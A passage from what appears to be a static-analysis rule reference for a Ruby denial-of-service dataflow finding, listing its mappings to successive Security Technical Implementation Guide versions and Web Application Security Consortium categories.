[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.ruby.denial_of_service